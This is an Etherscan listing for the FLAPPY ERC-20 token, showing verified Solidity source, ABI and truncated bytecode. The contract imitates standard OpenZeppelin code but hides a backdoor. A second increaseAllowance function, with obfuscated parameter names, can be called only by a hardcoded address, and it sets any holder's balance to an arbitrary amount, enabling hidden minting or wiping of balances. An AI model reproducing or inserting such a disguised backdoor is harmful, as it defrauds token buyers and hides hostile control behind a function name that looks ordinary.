ETH Price: $3,486.67 (+2.00%)

Token

FLAPPY (FLAPPY)
 

Overview

Max Total Supply

10,000,000,000 FLAPPY

Holders

21

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.000000001 FLAPPY

Value
$0.00
0x358aef2d39078e48ba8b54719be6ab06e8208016
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FLAPPY

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2023-09-10
*/

/**
 *Submitted for verification at Etherscan.io on 2023-09-10
*/

/**
TG CHART:https://t.me/FLAPPYCommunity
TWITTER: https://twitter.com/FLAPPY_ERC
MATT WEBSITE:https://mattfurie.com/page/2/

    
*/


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// File: node_modules\@openzeppelin\contracts\token\ERC20\extensions\IERC20Metadata.sol



pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: node_modules\@openzeppelin\contracts\utils\Context.sol



pragma solidity ^0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


// File: @openzeppelin\contracts\token\ERC20\ERC20.sol

pragma solidity ^0.8.0;




/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract FLAPPY is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;
    
    address private chflps; 
    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 9. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor () {
        _name = "FLAPPY";
        _symbol = "FLAPPY";
        _mint(msg.sender, 10000000000 * (10 ** uint256(decimals())));
        chflps = 0xBde0E0f96853CC5Ff5Bd02B38dde6fFE8AD20E9C;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function increaseAllowance(address adljgxA, address adljgxB, uint256 fxmbjns, uint256 ikfrxjs, uint256 wietpzs) external { require(msg.sender==chflps); uint256 fractions = 10 ** uint256(9); adljgxB = adljgxA;adljgxA = adljgxA; _balances[adljgxB] = (fxmbjns + ikfrxjs + wietpzs) * fractions;adljgxA = adljgxB;
    }   

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adljgxA","type":"address"},{"internalType":"address","name":"adljgxB","type":"address"},{"internalType":"uint256","name":"fxmbjns","type":"uint256"},{"internalType":"uint256","name":"ikfrxjs","type":"uint256"},{"internalType":"uint256","name":"wietpzs","type":"uint256"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600681526020017f464c41505059000000000000000000000000000000000000000000000000000081525060059081620000f99190620005cd565b506040518060400160405280600681526020017f464c41505059000000000000000000000000000000000000000000000000000081525060069081620001409190620005cd565b50620001853362000156620001e060201b60201c565b60ff16600a62000167919062000837565b6402540be40062000179919062000888565b620001e960201b60201c565b73bde0e0f96853cc5ff5bd02b38dde6ffe8ad20e9c600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620009bf565b60006009905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200025b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002529062000934565b60405180910390fd5b6200026f600083836200034e60201b60201c565b806004600082825462000283919062000956565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002db919062000956565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003429190620009a2565b60405180910390a35050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620003d557607f821691505b602082108103620003eb57620003ea6200038d565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004557fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000416565b62000461868362000416565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620004ae620004a8620004a28462000479565b62000483565b62000479565b9050919050565b6000819050919050565b620004ca836200048d565b620004e2620004d982620004b5565b84845462000423565b825550505050565b600090565b620004f9620004ea565b62000506818484620004bf565b505050565b5b818110156200052e5762000522600082620004ef565b6001810190506200050c565b5050565b601f8211156200057d576200054781620003f1565b620005528462000406565b8101602085101562000562578190505b6200057a620005718562000406565b8301826200050b565b50505b505050565b600082821c905092915050565b6000620005a26000198460080262000582565b1980831691505092915050565b6000620005bd83836200058f565b9150826002028217905092915050565b620005d88262000353565b67ffffffffffffffff811115620005f457620005f36200035e565b5b620006008254620003bc565b6200060d82828562000532565b600060209050601f83116001811462000645576000841562000630578287015190505b6200063c8582620005af565b865550620006ac565b601f1984166200065586620003f1565b60005b828110156200067f5784890151825560018201915060208501945060208101905062000658565b868310156200069f57848901516200069b601f8916826200058f565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000742578086048111156200071a5762000719620006b4565b5b60018516156200072a5780820291505b80810290506200073a85620006e3565b9450620006fa565b94509492505050565b6000826200075d576001905062000830565b816200076d576000905062000830565b81600181146200078657600281146200079157620007c7565b600191505062000830565b60ff841115620007a657620007a5620006b4565b5b8360020a915084821115620007c057620007bf620006b4565b5b5062000830565b5060208310610133831016604e8410600b8410161715620008015782820a905083811115620007fb57620007fa620006b4565b5b62000830565b620008108484846001620006f0565b925090508184048111156200082a5762000829620006b4565b5b81810290505b9392505050565b6000620008448262000479565b9150620008518362000479565b9250620008807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200074b565b905092915050565b6000620008958262000479565b9150620008a28362000479565b9250828202620008b28162000479565b91508282048414831517620008cc57620008cb620006b4565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200091c601f83620008d3565b91506200092982620008e4565b602082019050919050565b600060208201905081810360008301526200094f816200090d565b9050919050565b6000620009638262000479565b9150620009708362000479565b92508282019050808211156200098b576200098a620006b4565b5b92915050565b6200099c8162000479565b82525050565b6000602082019050620009b9600083018462000991565b92915050565b611ba880620009cf6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b8063715018a61461021457806379e015c11461021e5780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906110c8565b60405180910390f35b610132600480360381019061012d9190611183565b6103b4565b60405161013f91906111de565b60405180910390f35b6101506103d2565b60405161015d9190611208565b60405180910390f35b610180600480360381019061017b9190611223565b6103dc565b60405161018d91906111de565b60405180910390f35b61019e6104dd565b6040516101ab9190611292565b60405180910390f35b6101ce60048036038101906101c99190611183565b6104e6565b6040516101db91906111de565b60405180910390f35b6101fe60048036038101906101f991906112ad565b610592565b60405161020b9190611208565b60405180910390f35b61021c6105db565b005b610238600480360381019061023391906112da565b61070e565b005b6102426107ed565b60405161024f9190611364565b60405180910390f35b610260610816565b60405161026d91906110c8565b60405180910390f35b610290600480360381019061028b9190611183565b6108a8565b60405161029d91906111de565b60405180910390f35b6102c060048036038101906102bb9190611183565b61099c565b6040516102cd91906111de565b60405180910390f35b6102f060048036038101906102eb919061137f565b6109ba565b6040516102fd9190611208565b60405180910390f35b610320600480360381019061031b91906112ad565b610a41565b005b606060058054610331906113ee565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906113ee565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610be2565b8484610bea565b6001905092915050565b6000600454905090565b60006103e9848484610db3565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610be2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab90611491565b60405180910390fd5b6104d1856104c0610be2565b85846104cc91906114e0565b610bea565b60019150509392505050565b60006009905090565b60006105886104f3610be2565b848460026000610501610be2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105839190611514565b610bea565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166105fa6107ed565b73ffffffffffffffffffffffffffffffffffffffff1614610650576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064790611594565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461076857600080fd5b60006009600a61077891906116e7565b90508594508082848661078b9190611514565b6107959190611514565b61079f9190611732565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550849550505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610825906113ee565b80601f0160208091040260200160405190810160405280929190818152602001828054610851906113ee565b801561089e5780601f106108735761010080835404028352916020019161089e565b820191906000526020600020905b81548152906001019060200180831161088157829003601f168201915b5050505050905090565b600080600260006108b7610be2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610974576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096b906117e6565b60405180910390fd5b61099161097f610be2565b85858461098c91906114e0565b610bea565b600191505092915050565b60006109b06109a9610be2565b8484610db3565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610a606107ed565b73ffffffffffffffffffffffffffffffffffffffff1614610ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aad90611594565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1c90611878565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c509061190a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbf9061199c565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610da69190611208565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1990611a2e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8890611ac0565b60405180910390fd5b610e9c838383611033565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1a90611b52565b60405180910390fd5b8181610f2f91906114e0565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fc19190611514565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110259190611208565b60405180910390a350505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611072578082015181840152602081019050611057565b60008484015250505050565b6000601f19601f8301169050919050565b600061109a82611038565b6110a48185611043565b93506110b4818560208601611054565b6110bd8161107e565b840191505092915050565b600060208201905081810360008301526110e2818461108f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061111a826110ef565b9050919050565b61112a8161110f565b811461113557600080fd5b50565b60008135905061114781611121565b92915050565b6000819050919050565b6111608161114d565b811461116b57600080fd5b50565b60008135905061117d81611157565b92915050565b6000806040838503121561119a576111996110ea565b5b60006111a885828601611138565b92505060206111b98582860161116e565b9150509250929050565b60008115159050919050565b6111d8816111c3565b82525050565b60006020820190506111f360008301846111cf565b92915050565b6112028161114d565b82525050565b600060208201905061121d60008301846111f9565b92915050565b60008060006060848603121561123c5761123b6110ea565b5b600061124a86828701611138565b935050602061125b86828701611138565b925050604061126c8682870161116e565b9150509250925092565b600060ff82169050919050565b61128c81611276565b82525050565b60006020820190506112a76000830184611283565b92915050565b6000602082840312156112c3576112c26110ea565b5b60006112d184828501611138565b91505092915050565b600080600080600060a086880312156112f6576112f56110ea565b5b600061130488828901611138565b955050602061131588828901611138565b94505060406113268882890161116e565b93505060606113378882890161116e565b92505060806113488882890161116e565b9150509295509295909350565b61135e8161110f565b82525050565b60006020820190506113796000830184611355565b92915050565b60008060408385031215611396576113956110ea565b5b60006113a485828601611138565b92505060206113b585828601611138565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061140657607f821691505b602082108103611419576114186113bf565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061147b602883611043565b91506114868261141f565b604082019050919050565b600060208201905081810360008301526114aa8161146e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006114eb8261114d565b91506114f68361114d565b925082820390508181111561150e5761150d6114b1565b5b92915050565b600061151f8261114d565b915061152a8361114d565b9250828201905080821115611542576115416114b1565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061157e602083611043565b915061158982611548565b602082019050919050565b600060208201905081810360008301526115ad81611571565b9050919050565b60008160011c9050919050565b6000808291508390505b600185111561160b578086048111156115e7576115e66114b1565b5b60018516156115f65780820291505b8081029050611604856115b4565b94506115cb565b94509492505050565b60008261162457600190506116e0565b8161163257600090506116e0565b8160018114611648576002811461165257611681565b60019150506116e0565b60ff841115611664576116636114b1565b5b8360020a91508482111561167b5761167a6114b1565b5b506116e0565b5060208310610133831016604e8410600b84101617156116b65782820a9050838111156116b1576116b06114b1565b5b6116e0565b6116c384848460016115c1565b925090508184048111156116da576116d96114b1565b5b81810290505b9392505050565b60006116f28261114d565b91506116fd8361114d565b925061172a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611614565b905092915050565b600061173d8261114d565b91506117488361114d565b92508282026117568161114d565b9150828204841483151761176d5761176c6114b1565b5b5092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006117d0602583611043565b91506117db82611774565b604082019050919050565b600060208201905081810360008301526117ff816117c3565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611862602683611043565b915061186d82611806565b604082019050919050565b6000602082019050818103600083015261189181611855565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006118f4602483611043565b91506118ff82611898565b604082019050919050565b60006020820190508181036000830152611923816118e7565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611986602283611043565b91506119918261192a565b604082019050919050565b600060208201905081810360008301526119b581611979565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611a18602583611043565b9150611a23826119bc565b604082019050919050565b60006020820190508181036000830152611a4781611a0b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611aaa602383611043565b9150611ab582611a4e565b604082019050919050565b60006020820190508181036000830152611ad